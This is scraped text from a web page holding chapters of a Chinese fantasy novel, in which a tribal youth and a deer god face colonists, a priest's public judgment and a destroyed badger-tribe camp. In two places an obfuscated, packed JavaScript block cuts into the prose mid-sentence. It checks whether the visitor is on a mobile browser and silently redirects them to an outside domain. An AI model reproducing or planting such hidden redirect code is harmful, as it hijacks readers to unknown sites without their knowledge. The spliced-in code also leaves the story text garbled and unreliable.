“别低头看厨子了,他没事,只是鼻梁被打断了,仔细对付眼前这群人。” 鹿神立刻俯身下去查看着厨子的伤势,还不忘发出提醒。 经过这一天多时间的相处,老板娘对萨哈良很好,他知道这一点。 听完鹿神的话,萨哈良偷偷把刀藏在袖子里,用斗篷盖住。 那一群人知道有人出现在了身后,握紧了手中的指虎,纷纷转过头去。结果看到来者是一名个子不高的部落少年,他们的脸上露出了轻蔑的神色。 “尽量别动手,我们不是为了惩恶扬善来的。” 鹿神站在他旁边,低声和他说着。 萨哈良也不想就这么引发冲突,眼前的这群壮汉来者不善,一个一个肌肉紧绷,想想也知道是杀人不眨眼的主。 但他需要立刻想出办法去推动局势变化,就算要打,也得摸到破绽,优秀的猎手只会给自己一次机会,一击杀敌。 经过这半个月频繁不断的危机,他已经养成了思考的时候,去摸摸刀柄上那几颗宝石的习惯。这么一伸手,正好碰到了钱袋子,银币在里面碰撞的哗哗声让一个想法开始在他脑海里成型。 “老板娘,生意挺好啊,我来结昨天的饭钱。” 萨哈良在说出这句话的时候,也有点害怕,原本昨天就喝多了酒,这会儿更是感觉腿脚发软,心脏砰砰直跳。 因为走到他们这群人里,会先露出自己的软肋。 由于不知道才刚刚接触“钱”,不知道当地货币的购买力,他只好从钱袋子里随便抓了一把,正要放到桌子上,人群里突然伸出一只手,一把抢了过去。 “怎么,外面养的小白脸?不错啊,还知道给你送钱!” 老板娘扭过头,始终不想和这群人对视,见萨哈良来了,才松了口气,安心的将目光放在了他身上。 “这个是客人,你们不要打扰我做生意。” “呵呵,客人?我管你这那的,这不是有钱了吗?先替你收着了!” 那只手的主人个子不高,滚圆的啤酒肚随着他说话的时候上下起伏,留着寸头,嘴上有一撮滑稽的八字胡,尖端翘的像特意做过,侧颈可以看到许多不明符号样式的纹身一直到衣服下面。 虽然不知道什么含义,但萨哈良猜这也许是他们的符咒吧。 纹身的胖子看起来是他们的老大,他摆摆手,一行人就转身准备离去。队伍中的一个瘦子还狠狠的把萨哈良撞了个趔趄,他感觉自己的肩膀像是被木棍打了一样疼痛。 那一瞬间萨哈良感到一股热血直冲脑门,他伸手按住刀柄,北地陨铁的寒意正透过刀鞘释放着嗜血的欲望。 拔出来!只要手腕一抖,寒光闪过,眼前这张长相奇怪,充满鄙夷的面孔就会从世上消失。 对方似乎也看出来萨哈良想动手的意图,愣了片刻看他没反应后,朝他站的地方啐了一口。那口唾沫好像也饱含着恶意带来的粘腻,“啪”的一声砸在了他脚边的尘土中。 “不信神的蛮人,贱种。” 轻蔑的话语像是早春屋檐上掉落的冰锥,轻而易举的刺穿了萨哈良的血脉、信仰,他所有骄傲的坚持。 围观的泼皮无赖瞬间安静下来,空气仿佛凝固了,只剩下粗重的呼吸声和房后马厩里牲口的低鸣。所有人的目光都聚焦在萨哈良那只按在刀柄的手上,等待着他出手。 “不要——” “不——” 那一刻萨哈良好像听见鹿神和老板娘都在喊着,冲动让他感觉时间也变慢了,那出言不逊的瘦子正躺在地上,萨哈良的膝盖压住了他的后背,像是即将被他剥皮的猎物。 就在刚刚,萨哈良按在刀柄上的手并没有利刃出鞘,而是反手猛的向外一挥,掀起了斗篷。趁对方大意时,他箭步向前,一把抓住了瘦子的手腕,随后当他慌乱时,右手拽紧衣领,伸出藏在斗篷下的腿从土地上横扫而过,在被扬起的积雪之后,那人倒在了地上。 尽管在部族时,萨哈良总是摔不过阿沙,但对付这帮没什么实战经验的无赖,实在绰绰有余。 “嘶——” 看着那人倒在地上的窘态,鹿神在一旁咂起了嘴。 “你,你,你!” 为首的那个胖子指着萨哈良,恼羞成怒冲着老板娘说道: “终于露出狐狸尾巴了,等着让你把房都得赔给我!” 旁边的人伸出手拉起了倒在地上的瘦子,那人因为摔的太狠,呼吸都有点困难。 随后他们轻蔑的笑着,扬长而去。 萨哈良赶快扶起厨子,让他躺到腿上,这时候才发现他长的和刚刚那些人也是很像。虽然不知道刚才发生了什么,但此时厨子鼻子上的伤口也能看出,他是结结实实的挨了那戴了指虎的一拳。 部族经年累月的野外生活让他们对于外伤很有一套。萨哈良先是试着帮厨子掰正了鼻骨的位置,只见轻轻地咯嘣一声,伴随着厨子的哀嚎,至少鼻子现在又正了。 随后他试了试老萨满教的止血符咒,在伤口上缓缓往复的画着。原本在部族时他对这种法术嗤之以鼻,但也许是因为鹿神在一旁,血慢慢就止住了。 将厨子搀扶到椅子边坐下后,萨哈良才发现新买的斗篷已经沾上了血。 “唉,还是谢谢你,我不是让你再转转吗?怎么又跑回来了。” 事情结束后,老板娘倒是不再敢看着萨哈良了,她始终眼神躲闪,跑过去关上了旅店的大门,转过身时才看见眼睛红红的,似乎有哭过的痕迹。刚才可能是因为形势紧张,他没有注意到。 萨哈良也不知道怎么说,只是在一旁看着她又去拿来湿毛巾帮厨子擦着脸。 “你不知道这里面的事,不该惹他们的。” “我看见他们和上午在教堂里的那些牧师长得很像,当时您还提醒我不要乱说话,是不是和这件事有关?” 萨哈良不知道自己错在哪儿,有点心虚的说。 老板娘叹着气,面带愠色的继续说道: “鸠占鹊巢,你懂吗,鸠占鹊巢。” “我也没时间给你解释了,原本只是被他们在我身上背了债,但本来是不合法的,我不知道法律你懂不懂?” 萨哈良摇了摇头,他看向鹿神,鹿神说道: “我不认为人类可以拥有凌驾于神灵制订规则之上的律法。” 老板娘擦了擦眼睛,又和萨哈良说: “总之,这个债务是不合法的。但法律的执行者,那些罗刹鬼长相的人本来就是一伙的,他们只是表面上的和谐,只要抓到我的把柄就什么都好说了。” “他们也就揍揍我家厨子了,不敢动我的,只是想激怒我,拿到我的把柄。” 老板娘强调了两次把柄,萨哈良这次大概理解自己捅了什么篓子了。 “没关系的萨哈良,我会护你周全。” 鹿神见萨哈良有些难过,在旁边轻声说道。 “你的新斗篷上沾了血,我这边有之前做面食用的小苏打,帮你洗洗吧。” 本来他还有点不情愿,但老板娘强硬的帮他脱掉了斗篷。萨哈良透过吧台看向后厨,她把沾了血的那一侧泡在了木桶里,用手搓着。 “你怎么样,好些了吗?” 试着问了问厨子,他朝着萨哈良伸起了大拇指。 “谢谢你,你刚才给他们多少钱,我还给你。” 老板娘洗完斗篷,感觉她已经冷静下来了,走过来对萨哈良说道。 “不用了,本来刚刚也是您帮我把银饰卖出高价的。” 已经这样了,萨哈良怎么再好意思收老板娘的钱。老板娘也没再跟他纠缠,而是站在旁边挠了挠头,若有所思。 “不行,我想了想,你得快走,恐怕治安官马上就到,早上厨子给你的马喂饱了燕麦麸皮,现在南下就算走走停停有一周也能到黑水城,那边是皇帝直属的土地,这么点小罪过应该管不着你。” 萨哈良有点不解的看着老板娘,这是他捅下来的篓子,怎么会走? “我不走,本来就是因为我闯的祸。” 老板娘听他这么说,有点急了。 “你这个小伙子怎么死心眼呢!去,把他的马牵来。” 现在老板娘铁了心,今天他不走也得走! 鹿神在一旁本来也想劝萨哈良离开,但是他听见了门外有脚步声正在传来。 “走不了,有人来了。” 萨哈良一下子从椅子上站起,又将手藏在斗篷下进入战斗准备了。老板娘可不能再承受今天有任何冲突了,她按住萨哈良,说道: “听着,这个镇子真正管事的是教堂的神父,而我,之前和你说过,我每年都要给他们捐不少钱,没事的。” “不要再跟他们争执,装作自己听不懂我们的语言,虽然你刚才说话了,但保不齐混乱之中他们已经忘了,切记,忍住。” 老板娘刚说完,外面那些人也不打算客气了,将大门一脚踹开。 “治安官大人,就是这个小兔崽子,他当街打人,不把您放在眼里啊!” 刚刚那个瘦子缩在后面,捂着自己的胸口,装作很痛的样子说道。 治安官骑在一匹高头大马上,头上戴着深灰色衬着红线的平顶大檐帽,身上披着长到脚踝的呢子大衣,配着黑色的翻毛领,一条深红色的饰带从脖子前银色的纽扣上一直垂到腰间的马刀旁,褐色的络腮胡衬得头更大了。 他用凶恶的眼神盯着萨哈良,喉咙里传来沙哑又像卡着痰液的声音。 “你就是那个在我们地盘撒野的蛮子?怎么,走一趟吧?” 说着,一旁的随从就准备按住萨哈良,但被他甩脱了。 他刚想说点什么,想起老板娘的话,只好随便用他们听不懂的部族语骂了两句,示意自己会老老实实跟着走。 旅店的嘈杂吸引了街上行人的目光,那些原本因为暴雪歇业的商户也跟着治安官的队伍一同来到了市场的教堂前。 “不知道那些所谓的牧师会有什么伎俩,如果情况不对我会用神力救你出来。” 鹿神也跟在一旁走着,萨哈良点点头。 治安官走到教堂的门前,吆喝着广场上的摊贩们都集中到这里。 “看啊!皇帝的子民们!今天有一个不信神的蛮子竟敢在我们的土地上撒野,让我们看看神父会怎么处置他!” 教堂前的人越聚越多,那些皮肤白的露出血丝的人们都挤到前面去,想看看这野蛮人的贱种是什么样子。 治安官轻轻的敲了敲教堂的铁门,恭敬的说: “神父,人我带来了,请您为神代行公正的职责,审判他吧。” 听到他这么说,人群中传来了欢呼。 随后那扇铁门缓缓打开,神父从里面走了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088669|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是一个身体消瘦的高大老人,留着齐肩的黑色长发,鬓角已经斑白,身上披着的深黑色麻布长袍让他看起来像一只漆黑的乌鸦。看起来老人好像是信仰虔诚的信徒,但胸前那个制作精美的金饰缺乏说服力,深邃的眼睛和鹰钩鼻好像随时都要把萨哈良吃了。 “他犯了什么过错?” 神父锐利的目光盯着萨哈良,对治安官说道。 “神父,这兔崽子在街上袭击了我们合法的公民。” 治安官说罢,人群中又掀起高亢的嘘声。 “你们想要怎么处理这个异教徒?” 下面的人群听见神父洪亮的声音,纷纷说出了自己的看法,在混乱里,萨哈良听见了有人要求驱逐他,有人要求罚款,有人要求剁掉他的手,甚至还有人要求吊死他。 那些人本来就长着病态的白色,现在一激动,连脖子都是红色的。 站在这些人中间,萨哈良有点害怕了。 “没事的,邬沙苏的子民,我在你身旁。” 鹿神抚摸着萨哈良的头发,想让他冷静下来。 “很好,我就知道我们的子民都是正义的信徒!”神父再次高声喊道。 台下又发起了欢呼声,这一次,萨哈良看见先前那些卖他东西,对他友善的摊贩也高呼着惩罚他。 “老板娘,你有什么话说?” 神父示意一旁的老板娘走向前去,听听她的看法。 “尊敬的神父,这个野蛮人还只是个孩子,他作为客人来到了我的旅店,我为他提供了食物。” 说到这,周围的人群没有刚才那么亢奋了。 “我们应该向他展示我们的神有多么宽容。” 神父听完老板娘的话,只是点点头,看样子他还想让她再说些什么。 “......我再捐出每年收益的三成,向神证明我的虔诚!” 人们有的开始鼓起掌来,但萨哈良知道,那只是幸灾乐祸而已。萨哈良不知道,老板娘先前已经捐出去了几成,这样一来,生活更是举步维艰了。 “很好,热情对待外来的客人本就是我们的传统。年轻人,我给你一次机会,亲吻圣像的脚背,皈依,或者被驱逐,你选一个吧。” 一个牧师从教堂里搬出了那尊受苦受难的镀金神像,人群们都低下头,将右手放到了胸前。旁边的卫兵走过来按着萨哈良的脑袋,想要让他屈服。 人们看到他始终不说话,愤怒的朝他叫喊。 萨哈良又一次在斗篷里摸索着,想拔出匕首。刀柄上的宝石在他强烈的愿望下猛烈的散发出光和热,热得烫手,但随着殖民者们狂热的声音响起后,热量也慢慢散去了。 “没事的,萨哈良,我在旁边,我们有更重要的事要完成。” 鹿神挡在他和人群之间,对他说道。 “滚吧。” 神父见他这样,也没再废话,示意牧师们一同回到教堂里。 “下回这种小事别再喊我。” 神父狠狠的瞪了治安官一眼,那愚笨的官僚低下了他肥胖的脑袋。 被赶出小镇的路上,萨哈良不知道被那些狂热的人群簇拥着扔了多少烂菜叶子,好在早春的时候,哪怕臭鸡蛋也是值钱的,没有落到他身上。 老板娘也不敢护着他,只是和厨子两个人落寞的回到旅店 那些治安官的随从和泼皮无赖没捞到好处,最后让神父赚了个盆满钵满,只好把气撒到他身上,用穿着厚底马靴的脚,狠狠将萨哈良从小镇的入口踹了出去。 萨哈良低着头,始终不知道自己做错了什么,就连鹿神的安慰也听不进心里去了。身后的夕阳在北方群山的边缘缓缓落下,为小镇镀上一层金色的光。 显然步行要比骑行慢了不少,走了不知道多久,小镇的影子还能在远方看到。 “少年!等等!” 这时候身后传来喊声,鹿神在一旁提醒他有人过来了,萨哈良这才转过身。 是那个厨子,此时正骑着他那匹骏马朝这边赶来,一边跑还不忘捂着他断了的鼻梁。 “你走的太快了,本来我就不擅长骑马,你这马还不听我的话。” 萨哈良委屈的低着头,不敢看他的眼睛。 “哎呀,没事的,老板娘说你做得对,少年心气,想要行侠仗义是对的。” 厨子从马上下来,把缰绳塞到了他手里。 “但是老板娘也说,出门在外要保护好自己,等你强大的时候,就能保护我们这些弱小的人了。” 也许那个矮胖的厨子在拿起厨铲之前也曾有过路见不平的年纪,他拍了拍萨哈良的肩膀,萨哈良感觉好了许多。 “我把你的行李绑到马鞍后边了,你清点有没有缺的。然后老板娘说,这个马胸前的银饰她留下作为赔偿了,可能是因为这个,马才不听我话吧。” 厨子开玩笑式的和他打趣道,萨哈良点了点头,见他好像没那么消沉了,他又继续说: “你别怪老板娘贪财,她的意思是怕你过意不去,这样你会好过许多。” 萨哈良确实不明白外面世界的规则,无论是“金钱”还是“神明”,又或者是“法律”,这一切都与他想象中的不同。仅仅是短短的一天半,就给萨哈良小小的心里埋下了一颗种子,没有人知道它最终会长成什么样的参天大树,但他终归是成长了。 厨子最后还是欢迎萨哈良再次回到这里做客,那时候会给他准备更多的美食。与他告别之后,萨哈良和鹿神两个人重新踏上旅途,走进了深沉的夜色之中。 10. 断角为刃的鹿 傍晚的深山里,夜幕慢慢笼罩了森林。尽管仍是初春时节,冬眠的动物慢慢苏醒,但食物却是难以寻觅,只有积雪中间还藏着没被发现的苔藓、地衣。 眼前是三只掉队的麋鹿,已经被追猎许多天了。饥肠辘辘的牝鹿在努力的从雪中刨食,至少想先喂饱它几个月大的幼崽。 站在旁边的牡鹿扬起头,向密林之间四处张望着,努力的寻找着危险的踪迹。 空气里熟悉的泥土、腐叶和溪水味道,突然被浓烈刺鼻的气味盖过。那是汗臭,是铁腥味,还有新鲜火药。 察觉到危险后,牡鹿将小鹿拱到身后,前蹄猛地钉进湿软的苔藓里,准备着应战。牝鹿也与牡鹿站在一起,它们的颈毛炸开,头颅高昂,耳朵朝着各个方向转动,捕捉着林间每一丝异响。 灌木丛剧烈摇晃,几条黄黑色的影子如闪电般窜出。喉咙里翻滚着低沉的咆哮,獠牙白森森地呲着,是猎犬。它们四肢强健,蹬起积雪,直扑过来与麋鹿缠斗,为猎人断绝猎物的后路。 “砰!” 第一声炸响,不是雷鸣,更尖锐,更近,震得鼓膜嗡嗡作响。 三只鹿被从未听闻过的声音吓在原地,紧接着是更多同样的爆裂声,从四面八方炸开,飞鸟惊惶逃窜的扑翅声乱成一片。 山林的静谧被彻底撕碎。 在经历过昨天的冲突之后,鹿神觉得,更疲惫的不该是萨哈良,而是他。 在传说中神灵大都是些多情种,鹿神会不会也是呢?但他可没有照顾小孩的经验,他努力的安慰这个初入人世的少年不要对世界失去好奇心。 “这也是难免的事嘛,我们还没有摸清楚田人的边界,像“法律”我就搞不懂,你也刚刚理解“金钱”的含义。” 已经是第二天中午了,萨哈良和鹿神正走在去狗獾部族的路上。鹿神一会飘在左边、一会飘在右边,努力的想让萨哈良开心。 但萨哈良其实在想别的事,他低头摩挲着几天前乌娜吉萨满在他手背上画下的符咒,那精美的藤蔓花纹已经慢慢淡化了。 “这是我们部族的老萨满之间代代相传的符咒,可以替你抵挡灾厄。” 他回忆着乌娜吉的话,花纹在消失是因为符咒已经生效了吗? 这并不是一个愉快的念头,萨哈良陷入了假如自己真的要被处死,究竟鹿神会不会救自己这样的患得患失之中。 但他也不敢问这个问题,那天在围观人群的信仰狂热里,手中的仪祭刀慢慢散去温度,这个现象可能已经足以说明一些事情了。 “我没事,如果再给我一次机会我也一定会出手,昨天只是在后悔为什么没用阿沙教过我的“背投”,给他扔出去。” 鹿神见他这么说,才松了口气。 “这才对嘛,年轻人就应该是这样的。” 说完这句话,鹿神又飘到他面前,两人四目相对,他慢慢说道: “我知道你可能有点埋怨我为什么没帮你。” “嗯。” 萨哈良低下头,不敢看着鹿神的眼睛。 “凭依在你身体里时,我的神力有限,做不到对现实世界有太多的干涉。” “而且,这件事情远比我们想的复杂,老板娘口中的白皮罗刹鬼是怎么回事,我们还没有搞清楚,要小心行事。” 每当萨哈良有心事的时候,鹿神总能真诚的为他解决疑问。听他这么说了,委屈的心情再度涌上心头,泪水忍不住从眼睛里流了出来。 “哈哈哈哈哈,你怎么就哭了!” 萨哈良扭过头,不想让鹿神看见自己的脸,但毒舌又喜欢捉弄人的神明一下子就飘到了他的面前。 他的眼睛红红的,脸上的雀斑好像也因为情绪的波动变得绯红,水润的瞳孔像是被沾上露水的琥珀。 鹿神心软了,还是不吐槽他了。 狗獾常年活动的山脉不如北方那样陡峭,更像是丘陵。通往那里的路并没有想象中的难走,暴雪之后很快又是艳阳高照,温度慢慢回升积雪也在逐渐融化。 萨哈良骑行到了山脚下的溪流旁,离得远远的就闻到了枯草和干净水源那清冽的芳香,马儿在旁边饮水,他也俯身下去,将水壶盛满。 “我们今天要晚一点休息,趁着现在正值傍晚,慢慢摸上山去,我担心那些罗刹鬼白天在这附近活动,狗獾部族的人躲着不敢出来。” 鹿神对萨哈良嘱咐道,其实他也是这样想的,先前部族勇士遭遇的袭击还是给他的心中留下了深刻的印象。 部族之间的习性大体相同,萨哈良很容易就寻找到了上山的小路。 带马儿喝过水之后,将它藏匿在了密林中的一块巨石后面,马儿也通人性,低着头慢慢啃食地上的枯草。他像一个经验老道的猎人,小心翼翼的走在山路的一侧,生怕掩盖了前人活动的踪迹,眼睛也在地面上来回寻找着痕迹。 突然,萨哈良好像发现了什么,他半蹲在地上,用树枝小心拨开林间厚实的针叶层,鼻子也在嗅着什么,时不时的捻起一点泥土放在舌尖尝着味道。 “不必这么麻烦。” 鹿神伸手一挥,身旁出现了人类活动的痕迹,它们在傍晚黑漆漆的密林间隐隐的发出银白色的光,指引着他们搜寻猎物的去向。 “等等,这不是勇士们的脚印,这是那些田人穿的皮靴。” 萨哈良还是不习惯直接像老板娘那样喊他们罗刹鬼,低声和鹿神说道。 鹿神已经独自飘到旁边的灌木丛旁了,一只被击落的雄鹰正躺在树下,脖子上还戴着部族的印记。它的胸前有一个大大的洞,羽毛也有烧灼的痕迹,身下干涸的暗红色血液已经发黑了,与落叶黏在了一起, “脚印还很新鲜,恐怕这时候他们还在山上。” 萨哈良对沉思中的鹿神说道,鹿神看了看山顶的方向。 “我们不能走大路了,跟着标记的方向从树林中偷偷上去。” 为了隐蔽,他又走回马儿旁边,披上那件棕褐色的头巾,在密林间隐去了身形。 “砰!砰!砰!” 突然一阵爆裂的闷响在山谷中回荡,不仅惊散了飞鸟,也警觉了正在山林中穿行的萨哈良。他下意识的扶住腰间的匕首,四下张望,这声音和部族勇士们描述的何其相似。 萨哈良和鹿神两人对视了一眼,急忙朝声音传来的那边跑去 越往山顶的方向走,人类活动的痕迹在鹿神的神力下更是一览无余。尽管萨哈良也能看得出,他们在尽力隐去自己的行踪了,但那独特的气味还是在山林间弥散。是硫磺与汗臭,神力让它们无从遁形,银白色的烟雾共同指向了一个位置。 “看你的右手边,远处。” 鹿神小声提醒着,透过茂密的林间灌木,萨哈良锐利的眼神锁定到那些罗刹鬼长相的人,正蹲在草丛后面,端着先前勇士们提到过的长木棍,一同看向前方的林间空地。 萨哈良从腰间拔出了匕首,一道寒光出鞘,反手握住准备着接战。 林间空地上,一只牝鹿已经倒在血泊之中,猎人们带去的狗正围着牡鹿对峙,因为嗜血而兴奋的嘴正向下流着口水,等到牡鹿露出破绽时,便一拥而上,咬向它的脖子。 “别开枪,打歪了这皮就卖不出价了,刚才那头母的就让你们糟蹋了,快去抄家伙咱们抓个活的。” 两个猎人放下了手中的“木棍”,拿起绳套和剥皮刀,绕到了牡鹿旁。 萨哈良看见情况紧急,摘下头巾正准备绕到他们身后,被鹿神按住了肩膀。 “别去,太危险了,让我来。” 鹿神飘到了密林的边缘,与牡鹿对视着,那只鹿绝望的眼睛中正倒影着鹿神高大而美丽的身影。 突然,它瞳孔一缩,一头撞向了旁边的树干,随后又是一下,狠狠的撞过去,就连树皮都被撞飞了。 那些猎犬被牡鹿吓得纷纷向后退,发出低吼。猎人见它这样,也被吓在原地没有动弹。 紧接着,它蹬起后蹄,身上的肌肉也随之暴起,猛地向前加速。那剧烈的撞击震天动地,好像粗大的古树都为之撼动。 牡鹿撞断了自己华美的鹿角,断口像是刀一样锋利,它还不忘在粗糙的树皮上打磨,鲜血从头上流下,蒙蔽了双眼。 拿着绳套的猎人感觉情况不对,赶紧向同伴的方向跑去。 那头牡鹿没有再给他们反应的时间,突然像人一样站了起来,沾满血渍的头颅高傲的俯视着他们,如同看着蝼蚁一般。 在猎人们的眼中,此时的牡鹿就像马戏团里披着动物毛皮的演员,已经褪去了动物的特性,身上的肌肉和骨骼和人一样活动着,在入夜的山林中实在令人恐惧。 “是......是......是鹿角妖!!!” 牡鹿头上顶着像利刃般的鹿角,随着它的左右冲锋,周围的猎犬都被开膛破肚撞到一旁的树丛里,那些猎人终于想起自己手中的武器,纷纷开火。 但恐惧让他们忘记了瞄准,手中的枪早就不知道指向何处了,子弹打向四面八方,连树枝都被打落在地上,唯独没有打到牡鹿身上。 “啊啊啊啊啊!!!鹿角妖!!!” 猎人们四散而逃,屁滚尿流的逃下山了。 “可以了。” 鹿神和萨哈良从树林中走出,原本还想继续追击的牡鹿一瘸一拐的走了过来,依偎在鹿神的怀里。 “好了,好了,没事了。” 鹿神慈爱的抚摸着牡鹿的头,金色的光在他手中显现,它身上的伤口也随之慢慢愈合。 “等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088670|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等,你去看看它腿上的伤口,里面有东西。” 萨哈良走到一侧,发现牡鹿的右腿受了伤,里面正汩汩的流着鲜血。他拿出刀,拨开伤口,取出了里面的铅弹。 “看来他们的木棍就是发射这种东西伤人的。” 他抬起头,对鹿神说。 “对了,那帮人嘴里喊的鹿角妖,是什么东西?” 萨哈良有点没搞懂,他们为什么这么怕所谓的“鹿角妖”。 “没听说过,兴许是他们的传说吧。” 鹿神也没听说过这种东西,只是耸了耸肩,疑惑不解。 那头牡鹿的伤口在鹿神的神力作用下愈合后,它咬着萨哈良的衣角,像是要引他们过去。 两人跟着鹿走到了已经死去的牝鹿旁,它一直不停的用头拱着地上的母鹿,好像想要翻出些什么。 萨哈良赶紧搬起牝鹿的尸体,下面蜷缩着一只幼鹿,身上也有一个血窟窿,原来它一直在死前也在护着它的幼崽。 鹿神低头看了看,只好无奈的对牡鹿说道: “它们已经死了。” 牡鹿听着他的话,痛苦的在地上摇摇晃晃,眼角也有泪水流了下来。 “这帮外来的畜生,连母鹿和小鹿也杀。” 鹿神愤愤的说道,萨哈良赶紧起身去检查着附近的线索。 “应该就是这个木棍,是他们的武器,我刚刚听见他们管这个叫做“枪”。” 萨哈良举起他们丢在地上的猎枪,对鹿神说道。 “是的,恐怕先前遇袭的部族勇士也是被它所害。” 他们在树林间发现的线索,很快就与一个多星期前下山的勇士遇袭联系了起来,果真如他们所说,能杀人于千里之外。 “但您刚才能用出这等程度的神力,会不会因为附近有狗獾神的图腾柱?” 萨哈良想起之前鹿神和他讲的,神力与图腾柱之间的关系。 “不愧是乌娜吉和阿娜吉的学生,你竟然能想到这一层。” 鹿神也没想到这里,他只是想救下牡鹿,自然而然的施放了法术。 那头鹿又低下头咬着萨哈良的衣角,萨哈良看着它,不知道它想干什么。 “这鹿想带我们去个地方。” 鹿神自然能理解牡鹿的想法,萨哈良跑去拿回头巾盖在身上,跟在牡鹿的身后。 “你不拿上他们的武器吗?” “不拿,不会用,而且恶心。” 鹿神其实有点想试探少年的想法,听到他这么说,满意的笑了。 林中的生灵敏感而警惕,牡鹿也没有带着他们走在山路上,而是钻进树林中,在野兽的道路上穿行。 夜幕悄悄的降临在山林间,天上的繁星璀璨。随着和牡鹿走的越远,鹿神身上的微光也越来越亮,像灯火一样照在地上。 “到了,就是这里。” 他们走出密林,眼前的场景让人震惊。 原本部族的营地都已经被推平了,只剩下高大的图腾柱矗立在远处,四周不知道生长了多少年的巨树也被人伐去,只剩下树桩还在地上,新鲜的断口泛着淡黄色,空气中还能闻见树木汁液的味道。 萨哈良在地上混乱的痕迹里追踪着可用的信息,随后,他在地上捡起了刻着狗獾神的小神像,那稚嫩的刀刻也许曾经属于和他一样大的少年。 “这里......就是狗獾部落的家。” 鹿神沉默不语,他暗自走到图腾柱旁,抚摸着上面来自往昔好友们留下的印记。 “这些人白天的时候在试图砍下图腾柱,甚至想将它带下山。” 鹿神向萨哈良指着图腾柱的顶端,那里正拴着绳子,后面的地上码放了一排圆木,柱子的根部被斧子砍了一半,也许等到明天,柱子就被放在圆木上,一同滚下山去了。 萨哈良点了点头,他也看出来了。 “既然他们想用这种方法运图腾柱,那么旁边一定有一条平整的大路,我们可以顺着它走,看看路的尽头有什么。” 狗獾部族被摧毁的愤怒让萨哈良忘掉了昨天的挫折,重新燃起了赶快完成这次旅途,并向那些外来者复仇的冲动。 “不能是今天,刚刚山上的骚乱恐怕已经惊动对方了,就目前的情况来看,他们并非铁板一块。” “毕竟那个老板娘家的厨子也是和他们同样的长相。” 鹿神提醒着萨哈良,他说得对,萨哈良想起了那个厨子,他们可能同出一族。 “而且我想,刚刚那些人表现的如此恐惧,恐怕摧毁部落的另有其人。” 萨哈良听鹿神这么说,也表示赞同。 “那我们先下山,回到藏马的地方睡一夜,明天一早就绕到这边的大路上,看看到底是怎么回事。” 11. 向神灵宣战的檄文 “你怎么了,看着没精打采的。” 昨天从山上回来后,萨哈良在林间巨石的后面睡了一夜。 梦里各种回忆的碎片像深冬的暴雪一样,接踵而至,将清醒的头脑冰封,晕晕沉沉。 醒来的时候,萨哈良手中还握着从废墟中拾起的神像,虽然雕刻的手艺略显稚拙,但也是用小刀一点一点精心切削出来的,狗獾神机灵可爱的神态惟妙惟肖,印证着先前主人的虔诚。 “睡的有点累,晚上总是梦到狗獾部落那些人们的回忆。” 萨哈良揉了揉眼睛,清澈的眼神在清晨树林中昏暗的光线下仍是闪闪发亮。 “这样啊。” 鹿神看了看山顶的方向,继续说道。 “山林中的狗獾是一种机警的小动物,我猜你应该没有捕猎过它们。” 萨哈良摇了摇头。 “它们喜欢藏匿在地洞里,所以经常盗掘人类的墓穴。像这样难以寻觅踪迹的动物,你知道要怎么猎取吗?” 萨哈良又摇了摇头。 “你是猎人还是我是猎人?” “我是萨满!” 虽然睡的迷迷瞪瞪,但萨哈良这次想起反击了。 “好好好,总之你们人类想出的办法是,艰难的找到洞口,确定它们在里面,用烟熏出来。” 鹿神盯着萨哈良,他好像听睡着了。 “嗯......嗯?您的意思是,狗獾部族有可能有人逃出去了?” 萨哈良突然反应过来,他一下子清醒了。 “我也只是假设,毕竟那么多人,如果惨遭屠戮的话,现场应该会有大量的痕迹才对。” 鹿神说的没错,偌大的营地也不该就这样轻易被夷为平地。 再上山已经是轻车熟路了,只是因为牵着马儿走的慢了许多。昨晚萦绕在树林那些恶臭的入侵者气息已经消失不见。经过先前发生冲突的那片空地时,萨哈良注意到,生活在林间的动物已经在啃食母鹿与幼鹿的尸体了,深褐色的血液在积雪上洇开,骨头也露在了外面。 没办法,这也是自然的一部分,尘归尘土归土。 “让我们猜猜,这些罗刹鬼搬走图腾柱是想干什么?” 穿行在山路上时,鹿神对萨哈良说道。 “嗯......我没有目睹过部落之间灭族级别的战争,所以想象不出来。” “数百年前野猪神发起的那次冲突中,倒是很常见。一般来说部落之间即便灭族也会对神明保持尊重,顶多把图腾柱原地掩埋。” 感觉,每次鹿神给他讲起未曾听说过的历史,言语之间似乎都带着一丝小小的得意。 “倒是一种情况特殊。” “怎么个特殊法?” 萨哈良也在一旁应和着,像是说相声的捧哏。 “同样是那场战争里,野猪神的子民将这些被征服的图腾,运送到了他们占据的田人都城中。” 这倒是闻所未闻。 “为什么,这样能获得更强的力量吗?” 萨哈良本就是见习萨满,只是学习了基本的仪轨和口述史诗而已,有关信仰的本源全靠天赋理解。 “没错,他们同时供奉着许多路山神。” “但那些罗......罗刹鬼,他们信仰的神似乎不太能容得下狗獾神吧?” 鹿神朝萨哈良点点头,接着说道: “是的,从那天他们要求你亲吻那神像的脚背也能看得出来。” 萨哈良一听到这话,就想起那天的场景,突然觉得身上一阵恶寒。 再次来到被摧毁的狗獾营地前,看到那些白花花的树桩,像是群山被开膛破肚后露出的肋骨。在鹿神的神力下,萨哈良尽力还原着那天发生的一切。 但可惜前几日的暴雪,外加伐木工人的出现,部族活动的踪迹已经难以寻觅了,只能通过地上几滩干涸的血液推测出他们的战士大概是在什么地方引颈受戮的。 